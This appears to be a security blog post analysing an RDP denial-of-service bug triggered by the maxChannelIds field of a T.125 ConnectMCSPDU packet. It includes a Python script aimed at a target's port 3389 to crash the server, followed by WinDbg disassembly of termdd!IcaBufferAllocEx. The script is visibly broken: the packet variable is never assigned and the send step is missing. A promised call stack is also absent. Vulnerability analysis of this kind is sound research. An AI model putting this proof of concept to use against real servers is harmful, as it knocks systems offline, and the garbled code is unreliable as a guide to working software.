Given the flexibility of BER format (you can BER-encode 0 as 02 01 00, or 02 02 0000, or 02 04 00000000 - that is, using 1, 2, or 4 bytes), is there a reasonably small number of combinations that can potentially assemble a malformed packet with the "evil" byte in it, a number so small that it can be covered with the signatures (another rhetorical question)?

Saving the packet dump into packet.bin and running the Python script below will cause BSoD for the target server at %TARGET_IP_ADDRESS%:

import socket
f = open('packet.bin', 'r')
packet =
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("%TARGET_IP_ADDRESS%", 3389))
data = s.recv(4096)

The crush dump can then be loaded into WinDbg debugger to locate the place of the exception. As seen in the crush dump, the error happens in the following instruction that belongs to the function termdd!IcaBufferAllocEx:

8d02c987        mov   eax,dword ptr [esi+18h]

The instruction at the address 0x8d02c987 attempts to read a pointer (the next instruction references a DWORD pointed by it, and compares its value with 0) from the address 0x0a400620:

8d02c96c mov edi,edi
8d02c96e push ebp
8d02c96f mov ebp,esp
8d02c971 push ecx
8d02c972 cmp dword ptr [ebp+14h],19h
8d02c976 push esi
8d02c977 push edi
8d02c978 mov edi,dword ptr [ebp+8]
8d02c97b sete al
8d02c97e mov byte ptr [ebp-4],al
8d02c981 lea eax,[edi-14h]
8d02c984 push eax
8d02c985 jmp termdd!IcaBufferAllocEx+0x24
8d02c987 mov eax,dword ptr [esi+18h] ds:0023:0a400620=???????? ; <- ERROR !!!
8d02c98a cmp dword ptr [eax],0
8d02c98d jne termdd!IcaBufferAllocEx+0x4a
8d02c98f push esi
8d02c990 call termdd!IcaGetPreviousSdLink
8d02c995 mov esi,eax
8d02c997 test esi,esi
8d02c999 jne termdd!IcaBufferAllocEx+0x1b
8d02c99b push dword ptr [ebp+1Ch]
8d02c99e push dword ptr [ebp+18h]
8d02c9a1 push dword ptr [ebp+14h]
8d02c9a4 push dword ptr [ebp+10h]
8d02c9a7 push dword ptr [ebp+0Ch]
8d02c9aa push edi
8d02c9ab call termdd!IcaBufferAllocInternal
8d02c9b0 pop edi
8d02c9b1 pop esi
8d02c9b2 leave
8d02c9b3 ret 18h

The call stack reveals that the IcaBufferAllocEx() function within termdd.sys is called from RdpWD.sys driver and can be traced back to its NM_Disconnect() call:


As first reported by Luigi Auriemma, the use-after-free vulnerability is located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet when set to a value less or equal to 5. That field was patched in the example above with 0.

According to Luigi, the problem happens during the disconnection of the user started with RDPWD!NM_Disconnect while the effect of the possible code execution is visible in termdd!IcaBufferAlloc.

The exploit is currently at the DoS (denial-of-service) stage of its evolution. This is bad enough, considering how many web sites are managed remotely via RDP and thus, could potentially be knocked down with a single packet of 443 bytes submitted by an attacker.

Unless someone has a crystal ball, it's hard to predict if this bug will ever evolve into a much more thrilling "remote code execution" stage - only time will tell that.